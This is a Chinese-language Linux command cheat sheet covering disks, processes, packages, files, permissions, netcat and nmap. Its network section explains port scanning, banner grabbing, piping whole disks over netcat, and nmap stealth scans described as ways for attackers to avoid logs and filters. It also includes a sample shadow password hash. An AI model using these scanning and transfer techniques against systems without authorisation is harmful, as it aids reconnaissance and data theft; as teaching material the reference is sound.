Fork me on GitHub

Linux命令大全

Linux命令大全

目录

报错

  1. vm安装Ubuntu黑屏解决:关机打开虚拟机设置:将显示器的3d图形加速取消勾选。

操作命令

1. 系统相关

  • 查看内核的版本 : uname -r

查看系统时间: date

  • sudo date -s hh:mm:ss
  • sudo date -s month/day/year
  • 修改时区:cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

bash的登录与欢迎信息 cat /etc/issue

  • 例如在终端机接口登录的时候 ctrl+alt+F1-7
  • 远程登录显示 /etc/issue.net 里的内容
  • 用户登录后显示 /etc/motd里的内容 vi可编辑设置此内容

磁盘查看指令 fdisk

  • fdisk -l :查看系统中连接的外部设备
  • lsblk :这个命令可以列出所有可用块设备的信息,而且还能显示他们之间的依赖关系。
    • 光盘
      IDE: /dev/hd1
      SCSI: /dev/scd1
    • 软盘 /dev/fd1
    • 硬盘
      IDE: /dev/hd[a-d]
      SCSI: /dev/sd[a-p]
    • U盘 /dev/sd(a-f)
    • 打印机 /dev/lp[0-15]
    • 光驱 /dev/cdrom
    • 鼠标 /dev/mouse

磁盘管理

  • df [选项]: 检查文件系统的磁盘空间占用情况。可显示所有文件系统对 i 节点和磁盘块的使用情况。
    • a 显示所有文件系统的磁盘使用情况,包括 0 块(block)的文件系统,如/proc文件系统。
    • k 以 k 字节为单位显示。
    • i 显示 i 节点信息,而不是磁盘块。
    • t 显示各指定类型的文件系统的磁盘空间使用情况。
    • x 列出不是某一指定类型文件系统的磁盘空间使用情况(与 t 选项相反)。
    • T 显示文件系统类型。du 命令
    • h 人可读,单位为k
  • du [选项] [Names…],英文原义为“disk usage”,含义为显示磁盘空间的使用情况。du -ah 目录文件名
    • 功能:统计目录(或文件)所占磁盘空间的大小。
    • 说明:该命令逐级进入指定目录的每一个子目录并显示该目录占用文件系统数据块(1024 字节)的情况。若没有给出 Names,则对当前目录进行统计。
    • s 对每个 Names 参数只给出占用的数据块总数。
    • a 递归地显示指定目录中各文件及子孙目录中各文件占用的数据块数。若既不
      指定-s,也不指定-a,则只显示 Names 中的每一个目录及其中的各子目录所占的
      磁盘块数。
    • b 以字节为单位列出磁盘空间使用情况(系统缺省以 k 字节为单位)。
    • k 以 1024 字节为单位列出磁盘空间使用情况。
    • c 最后再加上一个总计(系统缺省设置)。
    • l 计算所有的文件大小,对硬链接文件,则计算多次。
    • x 跳过在不同文件系统上的目录不予统计。
    • h 人可读,单位为k
  • dd [选项]: 把指定的输入文件拷贝到指定的输出文件中,并且在拷贝过程中可以进行格式转换。
    • 可以用该命令实现 DOS 下的 diskcopy 命令的作用。先用 dd 命令把软盘上的数据写成硬盘的一个寄存文件,再把这个寄存文件写入第二张软盘上,完成diskcopy的功能。需要注意的是,应该将硬盘上的寄存文件用rm命令删除掉。系统默认使用标准输入文件和标准输出文件。
    • 语法: dd
      if =输入文件(或设备名称)。
      of =输出文件(或设备名称)。
      ibs = bytes 一次读取 bytes 字节,即读入缓冲区的字节数。skip = blocks 跳过读入缓冲区开头的 ibs*blocks 块。
      obs = bytes 一次写入 bytes 字节,即写入缓冲区的字节数。
      bs = bytes 同时设置读/写缓冲区的字节数(等于设置 ibs 和 obs)。
      cbs = byte 一次转换 bytes 字节。
      count=blocks 只拷贝输入的 blocks 块。
      conv = ASCII 把 EBCDIC 码转换为 ASCIl 码。
      conv = ebcdic 把 ASCIl 码转换为 EBCDIC 码。
      conv = ibm 把 ASCIl 码转换为 alternate EBCDIC 码。
      conv = block 把变动位转换成固定字符。
      conv = ublock 把固定位转换成变动位。
      conv = ucase 把字母由小写转换为大写。
      conv = lcase 把字母由大写转换为小写。
      conv = notrunc 不截短输出文件。
      conv = swab 交换每一对输入字节。
      conv = noerror 出错时不停止处理。
      conv = sync 把每个输入记录的大小都调到 ibs 的大小(用 NUL 填充)。
  • format [-n] device :对软盘进行低级格式化。
    • 软盘是用户常用的存储介质之一。软盘在使用之前必须先作格式化操作,然后可以用 tar、 dd、 cpio 等命令存储数据,也可以在软盘上建立可安装的文件系统。
    • -n 软盘格式化后不作检验。
    • device 指定要进行格式化的设备,通常是下述设备之一:
      • /dev/fd0d360 /dev/fd0h1200 /dev/fd0D360 /dev/fd0H360 /dev/fd0D720 /dev/fd0H720 /dev/fd0h360 /dev/fd0h720 /dev/fd0H1440

进程管理: ps / top / pstree

  • PCB :进程控制块 process control block , 专业术语 struct task_struct
    PID 进程号
    PPID 父进程的进程号
    TTY 进程启动的终端

  • ps : 查看进程的相关信息 process snapshot
    ps -aux --sort pid 按pid排序显示
    -a 所有用户进程
    -u 用户名和启动时间
    -x 显示没有控制终端的进程
    -e 显示所有进程,包括没有控制终端进程
    -l 以格式显示

  • pstree:可以以树形的方式列出进程。

  • PID :进程id

    • 进程的状态
      Here are the different values that the s, stat and state output specifiers (header "STAT" or "S") will
      display to describe the state of a process:
      D uninterruptible sleep (usually IO) 不中断睡眠态
      R running or runnable (on run queue) 正在运行,等待运行态
      S interruptible sleep (waiting for an event to complete) 可中断睡眠态
      T stopped, either by a job control signal or because it is being traced. 停止态
      X dead (should never be seen) 死亡态,不可见
      Z defunct ("zombie") process, terminated but not reaped by its parent. 僵尸态

      For BSD formats and when the stat keyword is used, additional characters may be displayed:
      <    high-priority (not nice to other users)  高优先级
      N    low-priority (nice to other users)  低优先级
      s    is a session leader  会话组组长
      l    is multi-threaded (using CLONE_THREAD, like NPTL pthreads do) 进程中包含了线程
      
      • is in the foreground process group. 前台进程
  • 如何杀死一个进程?
    kill -9 pid

  • 动态查看进程信息:top
    ctrl z 挂起进程 或 bg 挂起号
    fg 挂起号 恢复进程

文件系统类型

文件系统是用于组织和管理计算机存储设备上的大量文件,并提供用户交互接口。
1. 磁盘文件系统
  指本地主机中实际可以访问到的文件系统。
     Ext3  日志文件系统,能够在系统异常宕机时避免文件系统资料丢失,并能自动修复数据的不一致与错误。缺点是当硬盘容量很大时,修复时间长

EXT4 linux中改进版的Ext3,是RHEL6默认的文件管理系统,存储容量达到1EB,读写效率比Ext3极大的提高
NTFS windows
VFAT u盘
FAT32 u盘 windows
UFS unix 文件系统
ISO9960 镜像
XFS 是一种高性能的日志文件系统,是RHEL7默认的文件管理系统,优点是意外宕机后恢复非常快,并且支持最大存储容量为18EB
2. 网络文件系统 nfs
可以远程访问的文件系统, 文件存储在别人的磁盘上
3. 虚拟文件系统· tmpfs,procfs
文件系统存储在内存上。

查看系统的分区情况: cat /proc/partitions

  • linux 中 分区属于目录 windows 中 目录属于分区

分区与格式化

磁盘分区:fdisk [磁盘名称]   :它提供了集添加、删除、转换分区等功能
    m 查看全部可用的参数
    n 添加新的分区
    d 删除某个分区信息
    l 列出所有可用的分区类型,所有磁盘信息包括未加载磁盘
    t 改变某个分区的类型
    p 查看分区信息
    w 保存并退出
    q 不保存直接退出
磁盘格式化:mkfs.文件系统类型  设备分区文件
查看分区设备文件: file [参数选项] 目录或文件
    注意:有时候系统并没有自动把分区信息同步给Linux内核,因此执行上边语句时可能得到的结果为:/dev/sdb1: cannot open (No such file or directory)。
          如果出现这种情况需要手动执行partprobe命令将分区信息同步到内核中,并且建议是连续执行两次partprobe命令。如果执行二次还是无效,可以直接重启计算机,重启之后就可以了。
挂载: mount [参数] 文件系统 挂载目录  mount /dev/sdb1 /home/ 

磁盘配额 :quota

ulimit      -a  列出所有限制额度
-f  可创建最大文件容量  单位为kb     一般用户只能减小

挂载命令: mount [参数] 文件系统 挂载目录 mount /dev/sdb1 /home/ 将新加的储存设备挂载到一个已存在的目录上

            -a 挂载所有在/etc/fstab 中定义的文件系统
            -t 指定文件系统的类型
撤销已经挂载的设备文件: umount 

系统管理命令:wall,write,sync,free,uptime

  • wall:这个命令的功能是对全部已登录的用户发送信息
    • 用户可以先把要发送的信息写好存入一个文件中,然后输入: wall < 文件名,这样就能对所有的用户发送信息了。
    • wall ‘Thank you!’:执行以上命令后,用户的屏幕上显示出“Thank you!”信息后,并不出现系统提示符$(#),再次按回车键后,屏幕出现系统提示符。
  • write 命令的功能是向系统中某一个用户发送信息。:
    • write 用户帐号 [终端名称]:write Guest hello
    • 此时系统进入发送信息状态,用户可以输入要发送的信息,输入完毕,希望退出发送状态时,按组合键< Ctrl+c>即可。
  • mesg 指令:设定是否允许其他用户用 write 命令给自己发送信息。
    • 如果允许别人给自己发送信息,输入命令: mesg y 否则,输入: mesg n
    • 对于超级用户,系统的默认值为 n;而对于一般用户系统的默认值为 y。 如果 mesg 后不带任何参数,则显示当前的状态是 y 还是 n.。
  • sync 命令强制把内存中的数据写回硬盘,以免数据的丢失。用户可以在需要的时候使用此命令。
    • sync 命令是在关闭 Linux 系统时使用的。 用户需要注意的是,不能用简单的关闭电源的方法关闭系统,因为 Linux 象其他 Unix 系统一样,在内存中缓存了许多数据,在关闭系统时需要进行内存数据与硬盘数据的同步校验,保证硬盘数据在关闭系统时是最新的,只有这样才能确保数据不会丢失。一般正常的关闭系统的过程是自动进行这些工作的,在系统运行过程中也会定时做这些工作,不需要用户干预。
  • free 命令:查看当前系统内存的使用情况,它显示系统中剩余及已用的物理内存和交换内存,以及共享内存和被核心使用的缓冲区。
    • 该命令的一般格式为: free [-b | -k | -m] 命令中各选项的含义如下:-b 以字节为单位显示。
      • k 以 K 字节为单位显示。
      • m 以兆字节为单位显示。
  • uptime 命令:显示系统已经运行了多长时间,它依次显示下列信息:现在时间、系统已经运行了多长时间、目前有多少登录用户、系统在过去的 1 分钟、 5 分钟和 15 分钟内的平均负载。

2. 开机关机指令: shutdown [选项] [时间] [警告信息]

  • 选项参数
    • k 并不真正关机,而只是发出警告信息给所有用户。
    • r 关机后立即重新启动。
      sudo shutdown -r now /// 重启
    • h 关机后不重新启动。
      sudo shutdown -h +35 /// 多少分钟之后关机
      sudo shutdown -h now /// 立刻关机
      sudo shutdown -h 15:00 /// 某一个时刻关机
    • f 快速关机,重启动时跳过 fsck。
    • n 快速关机,不经过 init 程序。
    • c 取消一个已经运行的 shutdown。 shutdown -c // 取消关机

3. 软件包的管理机制

  • Debian Linux首先提出“软件包”的管理机制——Deb软件包
  • Redhat Linux基于这个理念推出了自己的软件包管理机制——Rpm软件包
  • Debian Linux开发出了APT软件包管理器。,检查和修复软件包依赖关系,利用Internet网络帮助用户主动获取软件包
  • 软件包:软件名称_软件版本号-修订版_体系结构.deb
  • ldd 这个命令可以知道你的一个可执行文件所使用了动态链接库

ubuntu下安装软件的方式(Debian): dpkg apt-get

  1. 本地安装: dpkg 需要有deb安装包
    sudo dpkg -i rxvt_1%3a2.6.4-14_i386.deb // 安装软件包
    sudo dpkg -L rxvt // 查看安装列表
    sudo dpkg -r rxvt // 删除软件,但是保留了配置文件
    sudo dpkg -P rxvt // 删除软件,不保留了配置文件
    sudo dpkg -s rxvt // 查看软件包的安装状态
  2. 在线安装 apt-get
    sudo apt-get install rxvt // 下载安装软件包
    sudo apt-get update // 更新软件源,生成索引文件
    sudo apt-get remove rxvt // 卸载软件
    sudo apt-get clean // 清除下载的软件包
    sudo apt-get check -f // 检测并修复依赖关系
    sudo apt-get --purge remove rxvt // 卸载软件,删除配置文件
    sudo apt-get --reinstall install rxvt
    sudo apt-cache show rxvt // 查看软件信息
    sudo apt-cache policy rxvt // 查看软件的状态
    sudo apt-cache depends rxvt // 查看软件的依赖
    1. 使用“apt-get install”下载软件包大体分为四步:
      STEP1,扫描本地存放的软件包更新列表(由apt-get update命令刷新更新列表),找到最新版本的软件包;
      STEP2,进行软件包依赖关系检查,找到支持该软件正常运行的所有软件包;
      STEP3,从软件源所指的镜像站点中,下载相关软件包;
      STEP4 ,解压软件包,并自动完成应用程序的安装和配置。
    2. 换源修改软件源()[https://blog.csdn.net/qq_35451572/article/details/79516563]
      sudo vi /etc/apt/sources.list
      添加: http://mirrors.sohu.com/...
    3. 下载软件包的位置: cd /var/cache/apt/archives
  3. 源码安装
    上面的在线安装和deb安装包安装,都是已经生成好的二进制文件。而源码安装是只有源代码,没有现成的二进制文件,我们需要编译这个源码,用来生成相应平台的二进制程序,当你从github上下载一个开源项目的时候,就可以拿到它的源码。大多数的时候,可能需要我们修改源码中的./configure文件,甚至有时候还需要修改源码。Linux下源码安装步骤如下。
    1. 下载源码解压,一般都是tar.gz或tar.bz2形式的压缩包
      解压好的源码中的install文件或者是readme文件。它们会介绍安装方法。当然,有时候并没有这些文件或者是没有安装方式介绍。
    2. 进入到src目录下,执行./configure文件,生成Makefile文件。如需要 交叉编译则修改将Makefile中指定的gcc更换为目标环境的gcc
    3. 执行make命令,报错则make clean,清理以前生成的文件,然后修改错 误。继续make。直到成功为止。

5. centos下安装软件的方式(Redhat) yum rpm

  1. yum 替你下载软件 替你安装 替你解决依赖关系 点外卖 缺少的东西 外卖解决
    yum install -y tree
    升级:yum -y update 包名
    卸载:yum -y remove 包名
  2. 二进制rpm包 自己下载软件包 自己解决依赖 半成品 缺少的东西 自己解决
    rpm -ivh treexxxxxxx.rpm
    -i(install) 安装; -v(verbose) 详细信息; -h(hash) 进度;
    rpm -e 包名 卸载
    rpm -qip 包名 查询软件包详细信息 p => package : 查询未安装包`**信息
    rpm -ql 包名 查询包中文件安装位置
    rpm -qf 系统文件名 查询系统文件属于哪个 RPM 包
    f ==> file : 查询系统文件属于哪个软件包
    rpm -qR 包名 查询软件包的依赖性
    R ==> requires : 查询软件包的依赖性
    p ==> package : 查询未安装包的信息
    rpm -V 已安装的包名 RPM 包校验 :判断本地的apache与官方给出的是否一致, 从而判断是否被人修改。
    -V ==> (verify) : 校验指定RPM包中的文件
  3. 编译 自己下载软件包 自己安装 自己解决依赖 自己做 按照自己口味 按照需求

4. 文件相关

查看文件的信息

  • file 文件名 : 查看文件类型
  • dumpe2fs 文件设备名 : 查看文件系统iNode信息
  • stat 文件名 :查看文件具体iNode信息:重命名后iNode号不变
    drwxrwxrwx 32 linux linux 4096 Jun 20 2016 class
    文件类型 用户权限同 组用户权限 其他用户权限 链接数 用户名 组名 文件大小 时间 文件名称
    文件类型:bcd -lsp
    b:代表的是 block 块设备文件
    c:代表的是 charactor 字符设备文件
    d:代表的是 directory 目录文件
    -:普通文件
    l:链接文件 link
    s:套接字文件 socket
    p:管道文件 pipe

测试文件:wc**

  • wc -w file.txt 测试文件单词数
    -l 测试行数
    -m 测试字符数
    -c 测试字节数

查找文件,按照文件的内容:grep 按照文件名:find

  • 已知文件的名字,查找文件的路径:find 路径 -name 文件名:find 路径 -name '*.t?t'
  • grep 内容 路径
    -r :递归查询
    -n : 显示行号
    -i : 不区分大小写
    -v :取反,即不包含需要的内容的行

查看文件首尾: head tail

  • head /proc/cpuinfo 默认查看前10行
  • tail /proc/cpuinfo  默认查看后10行
  • head -8 /proc/cpuinfo 查看指定的行数

查看文件内容 cat / nl

  • cat : cat > 123.c 创建一个文件 ctrl d 结束输入内容
    cat > 123.c <<"haha" 当输入haha时结束输入 不需要ctrl c
    • 合并多个文件需要和重定向>配合
      cat 1.txt 2.txt > 3.txt
  • nl:和cat命令很像,只不过它会打上行号。

比较两个文件后更新: diff patch pr

  • diff file.txt file1.txt 找出不一样
  • patch 补丁更新 主要由diff创建补丁来源文件
  • pr 打印准备

文件切割命令: split -b 后面接切割的大小 -l 以行数切割

Eg: cd /tmp; split -b 300k /etc/termcap termcap
切割的文件已termacapaa ,xxxab,xxxac的方式建立

  • 文件合并只需要使用简单的合并就行了,如:cat LF_* >largefile.tar.gz

文本处理命令之sort排序 :sort [选项] 文件名

  • sort 命令对指定文件中所有的行进行排序,并将结果显示在标准输出上。如不指定输入文件或使用“-”,则表示排序内容来自标准输入。
  • sort 排序是根据从输入行抽取的一个或多个关键字进行比较来完成的。排序关键字定义了用来排序的最小的字符序列。缺省况下以整行为关键字按 ASCII字符顺序进行排序。
  • 改变缺省设置的选项主要有:
    • m 若给定文件已排好序,合并文件。
    • c 检查给定文件是否已排好序,如果它们没有都排好序,则打印一个出错信
      息,并以状态值 1 退出。
    • u 对排序后认为相同的行只留其中一行。
    • o 输出文件 将排序输出写到输出文件中而不是标准输出,如果输出文件是输入文件之一, sort 先将该文件的内容写入一个临时文件,然后再排序和写输出结果。
  • 改变缺省排序规则的选项主要有:
    • d 按字典顺序排序,比较时仅字母、数字、空格和制表符有意义。
    • f 将小写字母与大写字母同等对待。
    • I 忽略非打印字符。
    • M 作为月份比较:“JAN” <“FEB”
    • r 按逆序输出排序结果。
    • +posl - pos2 指定一个或几个字段作为排序关键字,字段位置从 posl 开始,到 pos2 为止(包括 posl,不包括 pos2)。如不指定 pos2,则关键字为从 posl到行尾。字段和字符的位置从 0 开始。
    • b 在每行中寻找排序关键字时忽略前导的空白(空格和制表符)。
    • t separator 指定字符 separator 作为字段分隔符。

文本处理命令之uniq删除重复行:uniq [选项] 文件

  • 输入文件和输出文件必须不同。如果输入文件用“- ”表示,则从标准输入读取。
  • 该命令各选项含义如下:
    • c 显示输出中,在每行行首加上本行在文件中出现的次数。它可取代- u 和-
      d 选项。
    • d 只显示重复行。
    • u 只显示文件中不重复的各行。
    • n 前 n 个字段与每个字段前的空白一起被忽略。一个字段是一个非空格、非制表符的字符串,彼此由制表符和空格隔开(字段从 0 开始编号)。
    • +n 前 n 个字符被忽略,之前的字符被跳过(字符从 0 开始编号)。
    • f n 与- n 相同,这里 n 是字段数。
    • s n 与+n 相同,这里 n 是字符数。

lsof 可以列出打开了的文件。:lsof | grep TCP

5. 权限相关

ACL权限

  • ACL权限
  • ACL是Access Control List(访问控制列表)的缩写,不过在Linux系统中,ACL用于设定用户针对文件的权限,而不是在交换路由器中用来控制数据访问的功能(类似于防火墙)。
  • 开启ACL权限:在需要开启 ACL 权限的分区行上(也就是说 ACL 权限针对的是分区),手工在 defaults 后面加入",acl"即可永久在此分区中开启 ACL 权限。
  • 查看ACL权限:getfacle 文件名
  • 设定ACL权限:setfacl 选项 文件名
    -m:设定 ACL 权限。如果是给予用户 ACL 权限,则使用"u:用户名:权限"格式赋予;如果是给予组 ACL 权限,则使用"g:组名:权限" 格式赋予;
    -x:删除指定的 ACL 权限;
    -b:删除所有的 ACL 权限;
    -d:设定默认 ACL 权限。只对目录生效,指目录中新建立的文件拥有此默认权限;
    -k:删除默认 ACL 权限;
    -R:递归设定 ACL 权限。指设定的 ACL 权限会对目录下的所有子文件生效;
  • 最大有效权限mask:
  • 默认ACL权限和目录递归ACL权限
    • 默认 ACL 权限的作用是:如果给父目录设定了默认 ACL 权限,那么父目录中所有新建的子文件都会继承父目录的 ACL 权限。
    • 递归 ACL 权限的作用是:父目录在设定 ACL 权限时,所有的子文件和子目录也会拥有相同的 ACL 权限。
  • 删除ACL权限:
    • 删除指定用户和用户组的ACL权限:setfacl -x u:st 文件名
    • 删除所有ACL权限: setfacl -b 文件名

为用户设置密码: sudo passwd root

切换用户:su

  • su root
  • exit:退出登录
  • whoami:查看当前用户名
  • who:查看当前登录的用户信息

用户与用户组管理: user group

  • 用户相关信息文件:/etc/passwd
    linux❌1000:1000:linux,,,:/home/linux:/bin/bash
  • 用户名:密码:用户id:组id:个人信息:家目录:登录shell
  • 查看所有组:/etc/group
    linux❌1000:
    • 组名:密码:组id: 成员列表
  • 密码信息相关文件 : /etc/shadow
    linux:$6$a/ougl.t$XTLaBUDQ2nKPLHR0JlRL9.Zi5MYKgLUuaVLwpUMP3mcjWkVWeII9NYg1uM58AmBrY7xFzmZhA4R2ob7.hXNGh1:16718:0:9....
  • 创建一个用户:useradd 新的用户名 -m -d /home/新用户名 -g 组名
  • 设置密码 : passwd 用户名
  • 删除用户:sudo deluser --remove-home u1
  • 创建用户时模板文件 /etc/skel:新用户家目录中所有的文件,都是通过 /etc/skel目录下拷贝而来。
  • 创建一个新用户所用到的配置文件:/etc/adduser.conf
  • 添加一个组: groupadd YYY
  • 删除用户组: groupdel 组名
  • 查看laowang所属的所有用户组: groups laowang
  • 把老王添加到YYY组里面
    usermod -g YYY laowang 把老王添加到YYY组里面
    usermod -a -G XXX laowang 把老王添加到XXX组里面
    -g 和 -G,-g指定的是默认的组 -G是一般的组
  • useradd创建的新用户没有sudo,或者切换到root的权限,需要把这个用户添加到adm、sudo组里面才可以

修改文件的属主信息: chown chgrp

  • chown 用户名 文件名 // 修改文件所属用户
  • chgrp 用户组名 文件名 // 修改文件所属组

修改用户所属组: usermod

  • sudo usermod -g 组名 用户名 // 将用户添加到组中

文件的权限修改: chmod

  • chmod o-r 1.txt // 去掉其他用户的读权限
  • chmod a+x 1.txt // a:all o:other g:group , + 添加权限 ,-去掉权限
    • u:拥有者 + 添加权限 r: 读------>对应的数字是4
    • g:同组者 - 去除权限 w:写------>对应的数字是2
    • o:其他人 = 设定权限 x 执行------>对应的数字是1
    • a:所有,即u、g、o
  • chmod 777 文件夹,只会修改文件夹的权限为777 ,不会修改里面文件的权限
  • chmod 777 -R 会修改文件夹里面所有的文件、文件夹的权限(递归)
  • 修改文件所有者 chown 新的所有者 文件名
  • 修改所属组 chgrp 新的组名 文件名

6. 网络相关

nc/ncat 命令详解

  • Concatenate and redirect sockets(连接并重定向套接字)
    在centos7上nc和ncat是同一个工具
    nc/ncat是一个功能丰富的网络实用程序,可通过命令行在网络上读写数据。 它旨在成为一种可靠的后端工具,可立即为其他应用程序和用户提供网络连接。 nc/ncat不仅可以使用IPv4和IPv6,还可以为用户提供几乎无限的潜在用途。
  • 语法
    nc [-hlnruz][-g<网管>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源地址>][-v…][-w<超时秒数>][主机名称][通信端口…]
  • 参数说明
    -h 查看帮助信息
    -g hop1[,hop2,...] 松散源路由跳点(最多8个)
    -G < n> 指向器数目 (4,8,12,...)
    -d, --delay < time> 同时建立的最大连接数
    -o, --output < filename> 输出文件
    -x, --hex-dump < filename> 十六进制输出文件
    -i, --idle-timeout < time> 空闲读/写超时时间
    -p, --source-port port 指定特定的源端口
    -s, --source addr 指定特定的源ip
    -l, --listen 绑定并监听传入的连接
    -k, --keep-open 在监听模式下接受多个连接
    -t, --telnet 应答Telnet握手协议
    -u, --udp 使用udp代替默认的tcp
    --sctp 使用sctp代替默认的tcp
    -w, --wait < time> 连接超时时间
  • 示例
    • 端口扫描:经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。
      • nc -z -v -n 172.31.100.7 21-25
        可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
        z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换
        v 参数指使用冗余选项( 即详细输出)
        n 参数告诉netcat 不要使用DNS反向查询IP地址的域名
        这个命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。
        一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。
        • nc -v 172.31.100.7 21
    • 文件传输
      • server端:nc -l 1567 < file.txt
      • client段:nc -n 172.31.100.7 1567 > file.txt
    • 或者可以反过来(从客户端向服务段传文件)
      • server端:nc -l 1567 > file.txt
      • client端:nc -n 172.31.100.7 1567 < file.txt
    • 和tar结合使用:当传输目录或大文件(尤其适合有大量空洞的文件),我们可以借助压缩工具,先压缩后传输。
      • 远端(接收端):nc -l 0.0.0.0 8192 |tar xf -
      • 本地(发送端):tar cSf - * | nc remote_ip 8192
    • 和dd结合使用(远程克隆设备)
      • server端:dd if=/dev/sda | nc -l 1567
      • client端:nc -n 172.31.100.7 1567 | dd of=/dev/sda
    • 借助nc/ncat开启udp server
      • 服务端运行下面脚本
        #!/usr/bin/bash
        #Catch 'ctrl+c' signal for terminate 'while loop'.
        trap "server_exit" 2
        function server_exit
        {
        exit 0
        }
        while true
        do
        hostname|nc -lu 500
        done
      • 客户端运行:nc -u x.x.x.x 500
    • 用nc命令操作memcached
      1)存储数据:printf “set key 0 10 6\r\nresult\r\n” |nc 192.168.2.34 11211
      2)获取数据:printf “get key\r\n” |nc 192.168.2.34 11211
      3)删除数据:printf “delete key\r\n” |nc 192.168.2.34 11211
      4)查看状态:printf “stats\r\n” |nc 192.168.2.34 11211
      5)模拟top命令查看状态:watch “echo stats” |nc 192.168.2.34 11211
      6)清空缓存:printf “flush_all\r\n” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)
    • netcat 就是可以在命令行直接的方式操作 tcp/udp 进行原始的:监听,连接,数据传输等工作。然后搭配管道,实现灵活多样的功能,或者进行各种网络测试。
      其实上面几个例子,并不是说明 “netcat 可以干这些事情”而是通过举例开一下脑洞,看看搭配管道的 netcat 究竟有多强。
      还有很多其他用法,比如你可以用 netcat + shell script 写一个 http 服务器,使用 fifo 搭配两层 nc 可以实现 tcp 端口转发,搭配 openssl 命令行工具和 nc 加管道可以把 ssl 的套接字解码并映射成裸的 socket 端口供没有 ssl 功能的工具访问。。。。
      当然你要说,这么多复杂的用法你记不住,大部分你都可以用专业软件来代替,那至少你可以先尝试使用 nc 来做 tcp/udp 端口测试,不要再用 telnet/chrome 来测试端口是否可用了,后者太过业余。其他功能可作为备份手段,在极端恶劣的环境下使用一下,也许能帮助到你很多;再你有心情的情况下可以研究下如何使用管道搭配其他工具进行一些高阶操作就行。

网络扫描-NMAP与ZMAP

  • 基础知识
    1. CIDR(无类别域间路由,Classless Inter-Domain Routing)
      1. 查看本机的IP地址:ip地址:192.168.43.200 子网掩码:255.255.255.0
      2. 由以上信息可知,网络地址为:192.168.43.0 ,主机号为:200,在该网络地址中,256个主机
      3. 用CIDR可表示为:192.168.43.200/24:其中网络前缀为前24位,主机号仍然是200,表示该网络前缀下的第200个主机
    2. 主机发现:发现主机是否可以连通!
      1. -sL(列表扫描)
      2. 仅仅 进行ping扫描 (主机发现),然后打印出对扫描做出响应的那些主机,选项在默认情况下, 发送一个ICMP回声请求和一个TCP报文到80端口。
  • Zmap和Masscan采用了无状态的扫描技术,扫描速度非常可观。在信息收集的初级阶段,可以使用Zmap或Masscan进行目标的情势了解,扫描单一端口的情况考虑使用Zmap,而多端口的情况下Masscan则更为快速。在做完初步了解之后,则应该使用功能更加丰富的Nmap进行进一步的详细扫描。
  • 端口状态详细参数说明
    • Close:端口关闭,数据有到达主机,没有程序在端口上监控
    • Open:端口开启,数据有到达主机,有程序在端口上监控
    • Fil tered:数据没有到达主机,返回的结果为空,数据被防火墙或者是IDS过滤
    • Unfiltered:数据有到达主机,但是不能识别端口的当前状态
    • open | filtered:这种状态主要是Nmap无法区别端口处于open状态还是filtered状态。
    • closed|fil tered:该状态用于Nmap不能确定端口是关闭的还是被过滤的。它只可能出现在IPID Idle扫描中。
  1. nmap命令是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。并且有图形化界面Zenmap
    • 基本功能:主机发现,开放端口扫描,支持多端口、多网段,可对目标域名进行扫描;
    • 识别功能:识别端口服务类型及版本、操作系统、设备类型等;
    • 规避检测:分片、IP伪装、MAC伪装。
    • 扫描命令格式:nmap [Scan Type(s)][options]
    1. Nmap-主机扫描类型
      • 扫描类型Scan Type(s)___可同时指定多种扫描方式
        1. sL(列表扫描):该命令仅仅列出指定网络上的每台主机的,不会向目标主机发送任何报文。端口扫描、操作系统探测或者ping扫描,在该命令下不会被执行。nmap -sL 192.168.60.0/24
        2. sP(Ping扫描):Nmap给每个扫描到的主机发送一个ICMP echo和一个TCP ACK到(默认)80端口, 主机对任何一种的响应都会被Nmap得到。nmap -sP -PT80 192.168.60.0/24
        3. P0(无ping):在缺省设置下试图扫描一个端口之前,Nmap将用TCP ping” 和 ICMP echo命令ping一个目标机,如果ICMP 和TCP的探测扫描得不到响应,目标主机或网络就不会被扫描,即使他们是运行着的。而-P0选项允许在扫描之前不进行ping,直接进行扫描。nmap -P0 192.168.60.0/24
        4. Nmap-端口扫描技术,当潜在入侵者通过ping扫描发现了在目标网络上运行的主机,下一步是进行端口扫描。
          • sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/window/maimon scans
            • sT:(细节模式)一个攻击者使用TCP连接扫描很容易被发现,因为Nmap将使用connect()系统调用打开目标机上相关端口的连接,并完成三次TCP握手。黑客登录到主机将显示开放的端nmap -sT 192.168.60.109
          • sU:UDP Scan
        5. 隐藏扫描(Stealth Scanning):-sS 命令将发送一个SYN扫描探测主机或网络:
          • 如果一个攻击者不愿在扫描时使其信息被记录在目标系统日志上,TCP SYN扫描可帮你的忙,它很少会在目标机上留下记录,三次握手的过程从来都不会完全实现。通过发送一个SYN包(是TCP协议中的第一个包)开始一次SYN的扫描。任何开放的端口都将有一个SYN|ACK响应。然而,攻击者发送一个RST替代ACK,连接中止。三次握手得不到实现,也就很少有站点能记录这样的探测。如果是关闭的端口,对最初的SYN信号的响应也会是RST,让NMAP知道该端口不在监听。
          • 虽然SYN扫描可能不被注意,但他们仍会被一些入侵检测系统捕捉。Stealth FIN,Xmas树和Null scans可用于躲避包过滤和可检测进入受限制端口的SYN包。这三个扫描器对关闭的端口返回RST,对开放的端口将吸收包。一个 FIN “-sF”扫描将发送一个FIN包到每个端口。然而Xmas扫描”-sX”打开FIN, URG和PUSH的标志位,一个Null scans “-sN”关闭所有的标志位。因为微软不支持TCP标准,所以FIN, Xmas Tree和Null scans在非微软公司的操作系统下才有效。
        6. UDP扫描(UDP Scanning):-sU:UDP Scan
          • 如果一个攻击者寻找一个流行的UDP漏洞,比如 rpcbind漏洞或cDc Back orifice。为了查出哪些端口在监听,则进行UDP扫描,即可知哪些端口对UDP是开放的。Nmap将发送一个O字节的UDP包到每个端口。如果主机返回端口不可达,则表示端口是关闭的。但这种方法受到时间的限制,因为大多数的UNIX主机限制ICMP错误速率。幸运的是,Nmap本身检测这种速率并自身减速,也就不会产生溢出主机的情况。
        7. 操作系统识别(OS Fingerprinting):-O:nmap -sS -O www.abcdocker.com
